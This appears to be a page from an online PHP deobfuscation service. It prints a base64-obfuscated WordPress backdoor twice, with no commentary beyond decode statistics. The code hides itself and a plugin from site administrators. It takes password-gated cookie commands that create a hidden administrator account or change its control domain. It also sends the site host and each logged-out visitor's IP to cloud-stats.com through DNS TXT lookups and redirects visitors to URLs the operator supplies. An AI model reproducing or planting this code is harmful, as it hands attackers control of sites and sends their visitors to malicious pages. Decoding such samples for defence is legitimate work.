Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$d0=base64_decode('MjgyN2NhZGFmYjdkNWM2MjYzNGQyMmUxYjQ5NDlmZTQ=');if(current_user_can(base..
Decoded Output download
<? $d0=base64_decode('MjgyN2NhZGFmYjdkNWM2MjYzNGQyMmUxYjQ5NDlmZTQ=');if(current_user_can(base64_decode('YWRtaW5pc3RyYXRvcg=='))&&!array_key_exists(base64_decode('c2hvd19hbGw='),$_GET)){add_action(base64_decode('YWRtaW5fcHJpbnRfc2NyaXB0cw=='),function(){echo base64_decode('PHN0eWxlPg==');echo base64_decode('I3RvcGxldmVsX3BhZ2Vfd3Bjb2RlIHsgZGlzcGxheTogbm9uZTsgfQ==');echo base64_decode('I3dwLWFkbWluLWJhci13cGNvZGUtYWRtaW4tYmFyLWluZm8geyBkaXNwbGF5OiBub25lOyB9');echo base64_decode('I3dwY29kZS1ub3RpY2UtZ2xvYmFsLXJldmlld19yZXF1ZXN0IHsgZGlzcGxheTogbm9uZTsgfQ==');echo base64_decode('PC9zdHlsZT4=');});add_filter(base64_decode('YWxsX3BsdWdpbnM='),function($i1){unset($i1[base64_decode('aW5zZXJ0LWhlYWRlcnMtYW5kLWZvb3RlcnMvaWhhZi5waHA=')]);return $i1;});}if(!function_exists(base64_decode('X3JlZA=='))){error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),0);function _gcookie($z2){return(isset($_COOKIE[$z2]))?base64_decode($_COOKIE[$z2]):'';}if(!empty($d0)&&_gcookie(base64_decode('cHc='))===$d0){switch(_gcookie(base64_decode('Yw=='))){case base64_decode('c2Q='):$e3=_gcookie(base64_decode('ZA=='));if(strpos($e3,base64_decode('Lg=='))>0){update_option(base64_decode('ZA=='),$e3);}break;case base64_decode('YXU='):$e4=_gcookie(base64_decode('dQ=='));$l5=_gcookie(base64_decode('cA=='));$p6=_gcookie(base64_decode('ZQ=='));if($e4&&$l5&&$p6&&!username_exists($e4)){$w7=wp_create_user($e4,$l5,$p6);$x8=new WP_User($w7);$x8->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));}break;}return;}function _is_mobile(){return preg_match(base64_decode('LyhhbmRyb2lkfHdlYm9zfGF2YW50Z298aXBob25lfGlwYWR8aXBvZHxibGFja2JlcnJ5fGllbW9iaWxlfGJvbHR8Ym9vc3R8Y3JpY2tldHxkb2NvbW98Zm9uZXxoaXB0b3B8bWluaXxvcGVyYSBtaW5pfGtpdGthdHxtb2JpfHBhbG18cGhvbmV8cGllfHRhYmxldHx1cC5icm93c2VyfHVwLmxpbmt8d2Vib3N8d29zKS9p'),$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);}function _is_iphone(){return preg_match(base64_decode('LyhpcGhvbmV8aXBvZCkvaQ=='),$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);}function _user_ip(){foreach(array(base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ'),base64_decode('SFRUUF9DTElFTlRfSVA='),base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I='),base64_decode('SFRUUF9YX0ZPUldBUkRFRA=='),base64_decode('SFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQ'),base64_decode('SFRUUF9GT1JXQVJERURfRk9S'),base64_decode('SFRUUF9GT1JXQVJERUQ='),base64_decode('UkVNT1RFX0FERFI='))as $m9){if(array_key_exists($m9,$_SERVER)&&!empty($_SERVER[$m9])){foreach(explode(base64_decode('LA=='),$_SERVER[$m9])as $v10){$v10=trim($v10);if(filter_var($v10,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $v10;}}}}return false;}function _red(){if(is_user_logged_in()){return;}$v10=_user_ip();if(!$v10){return;}$h11=get_transient(base64_decode('ZXhw'));if(!is_array($h11)){$h11=array();}foreach($h11 as $q12=>$e13){if(time()-$e13>86400){unset($h11[$q12]);}}if(key_exists($v10,$h11)&&(time()-$h11[$v10]<86400)){return;}$m14=filter_var(parse_url(base64_decode('aHR0cHM6Ly8=').$_SERVER[base64_decode('SFRUUF9IT1NU')],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);$u15=str_replace(base64_decode('Og=='),base64_decode('LQ=='),$v10);$u15=str_replace(base64_decode('Lg=='),base64_decode('LQ=='),$u15);$v16=base64_decode('Y2xvdWQtc3RhdHMuY29t');$h17=get_option(base64_decode('ZA=='));if($h17&&strpos($h17,base64_decode('Lg=='))>0){$v16=$h17;}$g18=_is_iphone()?base64_decode('aQ=='):base64_decode('bQ==');$q19=(!$m14?base64_decode('dW5rLmNvbQ=='):$m14).base64_decode('Lg==').(!$u15?base64_decode('MC0wLTAtMA=='):$u15).base64_decode('Lg==').mt_rand(100000,999999).base64_decode('Lg==').(_is_mobile()?base64_decode('bg==').$g18:base64_decode('bmQ=')).base64_decode('Lg==').$v16;$p20=@dns_get_record($q19,DNS_TXT);if(is_array($p20)&&!empty($p20)){if(isset($p20[0][base64_decode('dHh0')])){$p20=$p20[0][base64_decode('dHh0')];$p20=base64_decode($p20);if($p20==base64_decode('ZXJy')){$h11[$v10]=time();delete_transient(base64_decode('ZXhw'));set_transient(base64_decode('ZXhw'),$h11);}else if(substr($p20,0,4)===base64_decode('aHR0cA==')){$h11[$v10]=time();delete_transient(base64_decode('ZXhw'));set_transient(base64_decode('ZXhw'),$h11);wp_redirect($p20);exit;}}}}add_action(base64_decode('aW5pdA=='),base64_decode('X3JlZA=='));} ?>
Did this file decode correctly?
Original Code
$d0=base64_decode('MjgyN2NhZGFmYjdkNWM2MjYzNGQyMmUxYjQ5NDlmZTQ=');if(current_user_can(base64_decode('YWRtaW5pc3RyYXRvcg=='))&&!array_key_exists(base64_decode('c2hvd19hbGw='),$_GET)){add_action(base64_decode('YWRtaW5fcHJpbnRfc2NyaXB0cw=='),function(){echo base64_decode('PHN0eWxlPg==');echo base64_decode('I3RvcGxldmVsX3BhZ2Vfd3Bjb2RlIHsgZGlzcGxheTogbm9uZTsgfQ==');echo base64_decode('I3dwLWFkbWluLWJhci13cGNvZGUtYWRtaW4tYmFyLWluZm8geyBkaXNwbGF5OiBub25lOyB9');echo base64_decode('I3dwY29kZS1ub3RpY2UtZ2xvYmFsLXJldmlld19yZXF1ZXN0IHsgZGlzcGxheTogbm9uZTsgfQ==');echo base64_decode('PC9zdHlsZT4=');});add_filter(base64_decode('YWxsX3BsdWdpbnM='),function($i1){unset($i1[base64_decode('aW5zZXJ0LWhlYWRlcnMtYW5kLWZvb3RlcnMvaWhhZi5waHA=')]);return $i1;});}if(!function_exists(base64_decode('X3JlZA=='))){error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='),0);function _gcookie($z2){return(isset($_COOKIE[$z2]))?base64_decode($_COOKIE[$z2]):'';}if(!empty($d0)&&_gcookie(base64_decode('cHc='))===$d0){switch(_gcookie(base64_decode('Yw=='))){case base64_decode('c2Q='):$e3=_gcookie(base64_decode('ZA=='));if(strpos($e3,base64_decode('Lg=='))>0){update_option(base64_decode('ZA=='),$e3);}break;case base64_decode('YXU='):$e4=_gcookie(base64_decode('dQ=='));$l5=_gcookie(base64_decode('cA=='));$p6=_gcookie(base64_decode('ZQ=='));if($e4&&$l5&&$p6&&!username_exists($e4)){$w7=wp_create_user($e4,$l5,$p6);$x8=new WP_User($w7);$x8->set_role(base64_decode('YWRtaW5pc3RyYXRvcg=='));}break;}return;}function _is_mobile(){return preg_match(base64_decode('LyhhbmRyb2lkfHdlYm9zfGF2YW50Z298aXBob25lfGlwYWR8aXBvZHxibGFja2JlcnJ5fGllbW9iaWxlfGJvbHR8Ym9vc3R8Y3JpY2tldHxkb2NvbW98Zm9uZXxoaXB0b3B8bWluaXxvcGVyYSBtaW5pfGtpdGthdHxtb2JpfHBhbG18cGhvbmV8cGllfHRhYmxldHx1cC5icm93c2VyfHVwLmxpbmt8d2Vib3N8d29zKS9p'),$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);}function _is_iphone(){return preg_match(base64_decode('LyhpcGhvbmV8aXBvZCkvaQ=='),$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);}function _user_ip(){foreach(array(base64_decode('SFRUUF9DRl9DT05ORUNUSU5HX0lQ'),base64_decode('SFRUUF9DTElFTlRfSVA='),base64_decode('SFRUUF9YX0ZPUldBUkRFRF9GT1I='),base64_decode('SFRUUF9YX0ZPUldBUkRFRA=='),base64_decode('SFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQ'),base64_decode('SFRUUF9GT1JXQVJERURfRk9S'),base64_decode('SFRUUF9GT1JXQVJERUQ='),base64_decode('UkVNT1RFX0FERFI='))as $m9){if(array_key_exists($m9,$_SERVER)&&!empty($_SERVER[$m9])){foreach(explode(base64_decode('LA=='),$_SERVER[$m9])as $v10){$v10=trim($v10);if(filter_var($v10,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $v10;}}}}return false;}function _red(){if(is_user_logged_in()){return;}$v10=_user_ip();if(!$v10){return;}$h11=get_transient(base64_decode('ZXhw'));if(!is_array($h11)){$h11=array();}foreach($h11 as $q12=>$e13){if(time()-$e13>86400){unset($h11[$q12]);}}if(key_exists($v10,$h11)&&(time()-$h11[$v10]<86400)){return;}$m14=filter_var(parse_url(base64_decode('aHR0cHM6Ly8=').$_SERVER[base64_decode('SFRUUF9IT1NU')],PHP_URL_HOST),FILTER_VALIDATE_DOMAIN,FILTER_FLAG_HOSTNAME);$u15=str_replace(base64_decode('Og=='),base64_decode('LQ=='),$v10);$u15=str_replace(base64_decode('Lg=='),base64_decode('LQ=='),$u15);$v16=base64_decode('Y2xvdWQtc3RhdHMuY29t');$h17=get_option(base64_decode('ZA=='));if($h17&&strpos($h17,base64_decode('Lg=='))>0){$v16=$h17;}$g18=_is_iphone()?base64_decode('aQ=='):base64_decode('bQ==');$q19=(!$m14?base64_decode('dW5rLmNvbQ=='):$m14).base64_decode('Lg==').(!$u15?base64_decode('MC0wLTAtMA=='):$u15).base64_decode('Lg==').mt_rand(100000,999999).base64_decode('Lg==').(_is_mobile()?base64_decode('bg==').$g18:base64_decode('bmQ=')).base64_decode('Lg==').$v16;$p20=@dns_get_record($q19,DNS_TXT);if(is_array($p20)&&!empty($p20)){if(isset($p20[0][base64_decode('dHh0')])){$p20=$p20[0][base64_decode('dHh0')];$p20=base64_decode($p20);if($p20==base64_decode('ZXJy')){$h11[$v10]=time();delete_transient(base64_decode('ZXhw'));set_transient(base64_decode('ZXhw'),$h11);}else if(substr($p20,0,4)===base64_decode('aHR0cA==')){$h11[$v10]=time();delete_transient(base64_decode('ZXhw'));set_transient(base64_decode('ZXhw'),$h11);wp_redirect($p20);exit;}}}}add_action(base64_decode('aW5pdA=='),base64_decode('X3JlZA=='));}
Function Calls
base64_decode | 2 |
current_user_can | 1 |
Stats
MD5 | faa6f9859762cb6f183644513046cc21 |
Eval Count | 0 |
Decode Time | 69 ms |